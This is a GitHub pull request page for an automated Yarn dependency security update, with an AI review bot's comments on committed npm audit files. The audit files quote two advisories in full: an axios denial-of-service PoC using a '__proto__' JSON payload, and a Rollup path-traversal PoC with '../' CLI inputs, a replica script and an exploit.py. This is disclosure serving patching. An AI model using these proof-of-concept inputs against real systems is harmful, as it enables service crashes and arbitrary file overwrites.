chore(deps): Update Yarn dependencies (security-updates)#427
chore(deps): Update Yarn dependencies (security-updates)#427nielsdrost7 wants to merge 1 commit intodevelopfrom
Conversation
📝 WalkthroughWalkthroughThis pull request documents two identified security vulnerabilities (Axios and Rollup) in the audit trail, restructures the audit report format for richer metadata representation, updates the Axios devDependency to a patched version, and reformats the package update report from a composer-centric to a package.json-centric format. Changes
Estimated code review effort🎯 2 (Simple) | ⏱️ ~10 minutes Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@audit-before.json`:
- Around line 1-3: The audit artifact contains multiple top-level JSON objects
(three records) which makes it invalid JSON; fix by converting the file to a
valid format—either emit each object as a newline-delimited JSON stream
(.jsonl/.ndjson) or wrap the three objects in a single JSON array (e.g.,
[obj1,obj2,obj3]) so parsers like Biome can read it; update the producer code
that writes these records (where the audit objects are serialized) to choose one
of these serialization strategies and ensure only one well-formed JSON value is
written per file.
In `@audit-report.json`:
- Around line 1-3: The file contains multiple JSON objects streamed
(JSONL/NDJSON) rather than a single valid JSON document, causing JSON parsers to
fail; fix by either renaming the file to use a JSON Lines extension (e.g.,
change audit-report.json → audit-report.jsonl or .ndjson) or by serializing the
three objects into a single JSON array/object (wrap the three advisory objects
into an array) so callers that parse a single JSON document can consume it;
update any consumers or documentation that expect audit-report.json accordingly
(search for references to audit-report.json in CI, scripts, or tooling to adjust
the filename or parsing logic).
- Around line 1-3: The audit-report.json is stale (it still lists axios 1.13.2
and rollup 4.54.0 and high:2) even though package.json upgraded axios to
^1.13.6; regenerate the post-update audit output and replace the file contents
with fresh results (e.g., run npm install then npm audit --json or npm audit fix
--json / pnpm/yarn equivalent) so the entries for "axios" and "rollup" reflect
patched versions (axios >=1.13.5, rollup >=4.59.0) and update the auditSummary
counts accordingly; ensure the new JSON contains the updated advisory entries
and summary before committing audit-report.json.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 2e5864a5-1e88-4b27-a9c4-d1bdc9ab6f22
⛔ Files ignored due to path filters (1)
yarn.lockis excluded by!**/yarn.lock,!**/*.lock
📒 Files selected for processing (4)
audit-before.jsonaudit-report.jsonpackage.jsonupdated-packages.txt
| {"type":"auditAdvisory","data":{"resolution":{"id":1113275,"path":"axios","dev":false,"optional":false,"bundled":false},"advisory":{"findings":[{"version":"1.13.2","paths":["axios"]}],"found_by":null,"deleted":null,"references":"- https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433\n- https://github.com/axios/axios/pull/7369\n- https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\n- https://github.com/axios/axios/releases/tag/v1.13.5\n- https://nvd.nist.gov/vuln/detail/CVE-2026-25639\n- https://github.com/axios/axios/pull/7388\n- https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e\n- https://github.com/axios/axios/releases/tag/v0.30.3\n- https://github.com/advisories/GHSA-43fc-jf86-j433","created":"2026-02-09T17:46:14.000Z","id":1113275,"npm_advisory_id":null,"overview":"# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `'__proto__'`:\n\n1. `JSON.parse('{\"__proto__\": {...}}')` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `'__proto__'` in the iteration\n3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse('{\"__proto__\": {\"x\": 1}}');\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n at computeConfigValue (lib/core/mergeConfig.js:100:25)\n at Object.forEach (lib/utils.js:280:10)\n at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse('{\"__proto__\": {\"x\": 1}}')` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.","reported_by":null,"title":"Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig","metadata":null,"cves":["CVE-2026-25639"],"access":"public","severity":"high","module_name":"axios","vulnerable_versions":">=1.0.0 <=1.13.4","github_advisory_id":"GHSA-43fc-jf86-j433","recommendation":"Upgrade to version 1.13.5 or later","patched_versions":">=1.13.5","updated":"2026-02-18T17:16:29.000Z","cvss":{"score":7.5,"vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"cwe":["CWE-754"],"url":"https://github.com/advisories/GHSA-43fc-jf86-j433"}}} | ||
| {"type":"auditAdvisory","data":{"resolution":{"id":1113515,"path":"vite>rollup","dev":false,"optional":false,"bundled":false},"advisory":{"findings":[{"version":"4.54.0","paths":["vite>rollup"]}],"found_by":null,"deleted":null,"references":"- https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc\n- https://nvd.nist.gov/vuln/detail/CVE-2026-27606\n- https://github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2\n- https://github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44e\n- https://github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3\n- https://github.com/rollup/rollup/releases/tag/v2.80.0\n- https://github.com/rollup/rollup/releases/tag/v3.30.0\n- https://github.com/rollup/rollup/releases/tag/v4.59.0\n- https://github.com/advisories/GHSA-mw96-cpmx-2vgc","created":"2026-02-25T22:37:26.000Z","id":1113515,"npm_advisory_id":null,"overview":"### Summary\nThe Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.\n\n### Details\nThe vulnerability is caused by the combination of two flawed components in the Rollup core:\n\n1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\\`). \n ```typescript\n // src/utils/sanitizeFileName.ts (Line 3)\n const INVALID_CHAR_REGEX = /[\\u0000-\\u001F\"#$%&*+,:;<=>?[\\]^`{|}\\u007F]/g;\n ```\n This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.\n\n2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the \"sanitized\" filename.\n ```typescript\n // src/rollup/rollup.ts (Line 317)\n const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);\n ```\n Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.\n\n### PoC\nA demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.\n\n**Scenario: CLI Named Input Exploit**\n1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).\n2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:\n ```bash\n rollup --input \"a/../../pwned.js=main.js\" --dir dist\n ```\n3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.\n\n**Reproduction Files provided :**\n* `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.\n* `exploit.py`: Automated script to run the PoC and verify the file escape.\n\nvuln_app.js\n```js\nconst path = require('path');\nconst fs = require('fs');\n\n/**\n * REPLICATED ROLLUP VULNERABILITY\n * \n * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)\n * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)\n */\n\nfunction sanitize(name) {\n // The vulnerability: Rollup's regex fails to strip dots and slashes, \n // allowing path traversal sequences like '../'\n return name.replace(/[\\u0000-\\u001F\"#$%&*+,:;<=>?[\\]^`{|}\\u007F]/g, '_');\n}\n\nasync function build(userSuppliedName) {\n const outputDir = path.join(__dirname, 'dist');\n const fileName = sanitize(userSuppliedName);\n\n // Vulnerability: path.resolve() follows traversal sequences in the filename\n const outputPath = path.resolve(outputDir, fileName);\n\n console.log(`[*] Target write path: ${outputPath}`);\n\n if (!fs.existsSync(path.dirname(outputPath))) {\n fs.mkdirSync(path.dirname(outputPath), { recursive: true });\n }\n\n fs.writeFileSync(outputPath, 'console.log(\"System Compromised!\");');\n console.log(`[+] File written successfully.`);\n}\n\nbuild(process.argv[2] || 'bundle.js');\n\n```\n\nexploit.py\n```py\nimport subprocess\nfrom pathlib import Path\n\ndef run_poc():\n # Target a file outside the 'dist' folder\n poc_dir = Path(__file__).parent\n malicious_filename = \"../pwned_by_rollup.js\"\n target_path = poc_dir / \"pwned_by_rollup.js\"\n\n print(f\"=== Rollup Path Traversal PoC ===\")\n print(f\"[*] Malicious Filename: {malicious_filename}\")\n \n # Trigger the vulnerable app\n subprocess.run([\"node\", \"poc/vuln_app.js\", malicious_filename])\n\n if target_path.exists():\n print(f\"[SUCCESS] File escaped 'dist' folder!\")\n print(f\"[SUCCESS] Created: {target_path}\")\n # target_path.unlink() # Cleanup\n else:\n print(\"[FAILED] Exploit did not work.\")\n\nif __name__ == \"__main__\":\n run_poc()\n```\n\n## POC \n```rollup --input \"bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js\" --dir dist```\n\n<img width=\"1918\" height=\"1111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4\" />\n\n\n\n### Impact\nThis is a **High** level of severity vulnerability.\n* **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.\n* **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.\n* **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.","reported_by":null,"title":"Rollup 4 has Arbitrary File Write via Path Traversal","metadata":null,"cves":["CVE-2026-27606"],"access":"public","severity":"high","module_name":"rollup","vulnerable_versions":">=4.0.0 <4.59.0","github_advisory_id":"GHSA-mw96-cpmx-2vgc","recommendation":"Upgrade to version 4.59.0 or later","patched_versions":">=4.59.0","updated":"2026-02-25T22:37:27.000Z","cvss":{"score":0,"vectorString":null},"cwe":["CWE-22"],"url":"https://github.com/advisories/GHSA-mw96-cpmx-2vgc"}}} | ||
| {"type":"auditSummary","data":{"vulnerabilities":{"info":0,"low":0,"moderate":0,"high":2,"critical":0},"dependencies":156,"devDependencies":0,"optionalDependencies":0,"totalDependencies":156}} |
There was a problem hiding this comment.
This audit artifact is not valid .json.
The file contains three top-level JSON objects, so standard JSON parsers and Biome stop after Line 1. Either store this as .jsonl/.ndjson or wrap the records in a single JSON array/object before committing it.
🧰 Tools
🪛 Biome (2.4.4)
[error] 2-2: End of file expected
(parse)
[error] 3-3: End of file expected
(parse)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@audit-before.json` around lines 1 - 3, The audit artifact contains multiple
top-level JSON objects (three records) which makes it invalid JSON; fix by
converting the file to a valid format—either emit each object as a
newline-delimited JSON stream (.jsonl/.ndjson) or wrap the three objects in a
single JSON array (e.g., [obj1,obj2,obj3]) so parsers like Biome can read it;
update the producer code that writes these records (where the audit objects are
serialized) to choose one of these serialization strategies and ensure only one
well-formed JSON value is written per file.
| {"type":"auditAdvisory","data":{"resolution":{"id":1113275,"path":"axios","dev":false,"optional":false,"bundled":false},"advisory":{"findings":[{"version":"1.13.2","paths":["axios"]}],"found_by":null,"deleted":null,"references":"- https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433\n- https://github.com/axios/axios/pull/7369\n- https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\n- https://github.com/axios/axios/releases/tag/v1.13.5\n- https://nvd.nist.gov/vuln/detail/CVE-2026-25639\n- https://github.com/axios/axios/pull/7388\n- https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e\n- https://github.com/axios/axios/releases/tag/v0.30.3\n- https://github.com/advisories/GHSA-43fc-jf86-j433","created":"2026-02-09T17:46:14.000Z","id":1113275,"npm_advisory_id":null,"overview":"# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `'__proto__'`:\n\n1. `JSON.parse('{\"__proto__\": {...}}')` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `'__proto__'` in the iteration\n3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse('{\"__proto__\": {\"x\": 1}}');\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n at computeConfigValue (lib/core/mergeConfig.js:100:25)\n at Object.forEach (lib/utils.js:280:10)\n at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse('{\"__proto__\": {\"x\": 1}}')` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.","reported_by":null,"title":"Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig","metadata":null,"cves":["CVE-2026-25639"],"access":"public","severity":"high","module_name":"axios","vulnerable_versions":">=1.0.0 <=1.13.4","github_advisory_id":"GHSA-43fc-jf86-j433","recommendation":"Upgrade to version 1.13.5 or later","patched_versions":">=1.13.5","updated":"2026-02-18T17:16:29.000Z","cvss":{"score":7.5,"vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"cwe":["CWE-754"],"url":"https://github.com/advisories/GHSA-43fc-jf86-j433"}}} | ||
| {"type":"auditAdvisory","data":{"resolution":{"id":1113515,"path":"vite>rollup","dev":false,"optional":false,"bundled":false},"advisory":{"findings":[{"version":"4.54.0","paths":["vite>rollup"]}],"found_by":null,"deleted":null,"references":"- https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc\n- https://nvd.nist.gov/vuln/detail/CVE-2026-27606\n- https://github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2\n- https://github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44e\n- https://github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3\n- https://github.com/rollup/rollup/releases/tag/v2.80.0\n- https://github.com/rollup/rollup/releases/tag/v3.30.0\n- https://github.com/rollup/rollup/releases/tag/v4.59.0\n- https://github.com/advisories/GHSA-mw96-cpmx-2vgc","created":"2026-02-25T22:37:26.000Z","id":1113515,"npm_advisory_id":null,"overview":"### Summary\nThe Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.\n\n### Details\nThe vulnerability is caused by the combination of two flawed components in the Rollup core:\n\n1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\\`). \n ```typescript\n // src/utils/sanitizeFileName.ts (Line 3)\n const INVALID_CHAR_REGEX = /[\\u0000-\\u001F\"#$%&*+,:;<=>?[\\]^`{|}\\u007F]/g;\n ```\n This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.\n\n2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the \"sanitized\" filename.\n ```typescript\n // src/rollup/rollup.ts (Line 317)\n const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);\n ```\n Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.\n\n### PoC\nA demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.\n\n**Scenario: CLI Named Input Exploit**\n1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).\n2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:\n ```bash\n rollup --input \"a/../../pwned.js=main.js\" --dir dist\n ```\n3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.\n\n**Reproduction Files provided :**\n* `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.\n* `exploit.py`: Automated script to run the PoC and verify the file escape.\n\nvuln_app.js\n```js\nconst path = require('path');\nconst fs = require('fs');\n\n/**\n * REPLICATED ROLLUP VULNERABILITY\n * \n * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)\n * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)\n */\n\nfunction sanitize(name) {\n // The vulnerability: Rollup's regex fails to strip dots and slashes, \n // allowing path traversal sequences like '../'\n return name.replace(/[\\u0000-\\u001F\"#$%&*+,:;<=>?[\\]^`{|}\\u007F]/g, '_');\n}\n\nasync function build(userSuppliedName) {\n const outputDir = path.join(__dirname, 'dist');\n const fileName = sanitize(userSuppliedName);\n\n // Vulnerability: path.resolve() follows traversal sequences in the filename\n const outputPath = path.resolve(outputDir, fileName);\n\n console.log(`[*] Target write path: ${outputPath}`);\n\n if (!fs.existsSync(path.dirname(outputPath))) {\n fs.mkdirSync(path.dirname(outputPath), { recursive: true });\n }\n\n fs.writeFileSync(outputPath, 'console.log(\"System Compromised!\");');\n console.log(`[+] File written successfully.`);\n}\n\nbuild(process.argv[2] || 'bundle.js');\n\n```\n\nexploit.py\n```py\nimport subprocess\nfrom pathlib import Path\n\ndef run_poc():\n # Target a file outside the 'dist' folder\n poc_dir = Path(__file__).parent\n malicious_filename = \"../pwned_by_rollup.js\"\n target_path = poc_dir / \"pwned_by_rollup.js\"\n\n print(f\"=== Rollup Path Traversal PoC ===\")\n print(f\"[*] Malicious Filename: {malicious_filename}\")\n \n # Trigger the vulnerable app\n subprocess.run([\"node\", \"poc/vuln_app.js\", malicious_filename])\n\n if target_path.exists():\n print(f\"[SUCCESS] File escaped 'dist' folder!\")\n print(f\"[SUCCESS] Created: {target_path}\")\n # target_path.unlink() # Cleanup\n else:\n print(\"[FAILED] Exploit did not work.\")\n\nif __name__ == \"__main__\":\n run_poc()\n```\n\n## POC \n```rollup --input \"bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js\" --dir dist```\n\n<img width=\"1918\" height=\"1111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4\" />\n\n\n\n### Impact\nThis is a **High** level of severity vulnerability.\n* **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.\n* **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.\n* **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.","reported_by":null,"title":"Rollup 4 has Arbitrary File Write via Path Traversal","metadata":null,"cves":["CVE-2026-27606"],"access":"public","severity":"high","module_name":"rollup","vulnerable_versions":">=4.0.0 <4.59.0","github_advisory_id":"GHSA-mw96-cpmx-2vgc","recommendation":"Upgrade to version 4.59.0 or later","patched_versions":">=4.59.0","updated":"2026-02-25T22:37:27.000Z","cvss":{"score":0,"vectorString":null},"cwe":["CWE-22"],"url":"https://github.com/advisories/GHSA-mw96-cpmx-2vgc"}}} | ||
| {"type":"auditSummary","data":{"vulnerabilities":{"info":0,"low":0,"moderate":0,"high":2,"critical":0},"dependencies":156,"devDependencies":0,"optionalDependencies":0,"totalDependencies":156}} |
There was a problem hiding this comment.
This report is committed in JSONL form, not valid .json.
As written, this is a stream of three JSON objects, so any normal .json parser fails after the first record. Please rename it to .jsonl/.ndjson or serialize the entries as one JSON document.
🧰 Tools
🪛 Biome (2.4.4)
[error] 2-2: End of file expected
(parse)
[error] 3-3: End of file expected
(parse)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@audit-report.json` around lines 1 - 3, The file contains multiple JSON
objects streamed (JSONL/NDJSON) rather than a single valid JSON document,
causing JSON parsers to fail; fix by either renaming the file to use a JSON
Lines extension (e.g., change audit-report.json → audit-report.jsonl or .ndjson)
or by serializing the three objects into a single JSON array/object (wrap the
three advisory objects into an array) so callers that parse a single JSON
document can consume it; update any consumers or documentation that expect
audit-report.json accordingly (search for references to audit-report.json in CI,
scripts, or tooling to adjust the filename or parsing logic).
Regenerate the post-update audit output.
package.json Line 11 upgrades axios to ^1.13.6, but this report still records axios 1.13.2, rollup 4.54.0, and a summary of high: 2. If this file is meant to be the after-state audit artifact, it's stale, so reviewers cannot tell whether the PR actually remediates the disclosed vulnerabilities.
🧰 Tools
🪛 Biome (2.4.4)
[error] 2-2: End of file expected
(parse)
[error] 3-3: End of file expected
(parse)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@audit-report.json` around lines 1 - 3, The audit-report.json is stale (it
still lists axios 1.13.2 and rollup 4.54.0 and high:2) even though package.json
upgraded axios to ^1.13.6; regenerate the post-update audit output and replace
the file contents with fresh results (e.g., run npm install then npm audit
--json or npm audit fix --json / pnpm/yarn equivalent) so the entries for
"axios" and "rollup" reflect patched versions (axios >=1.13.5, rollup >=4.59.0)
and update the auditSummary counts accordingly; ensure the new JSON contains the
updated advisory entries and summary before committing audit-report.json.
Yarn Dependency Update
This PR updates Yarn (npm) dependencies.
Update Type: security-updates
Triggered by: schedule
Lock File Status
✓ No lock file conflicts detected.
Updated Packages
Checks Performed
Security Audit
2 security vulnerabilities detected. Please review audit-report.json.
Review Checklist
This PR was automatically created by the Yarn Update workflow.
Summary by CodeRabbit
Bug Fixes
Documentation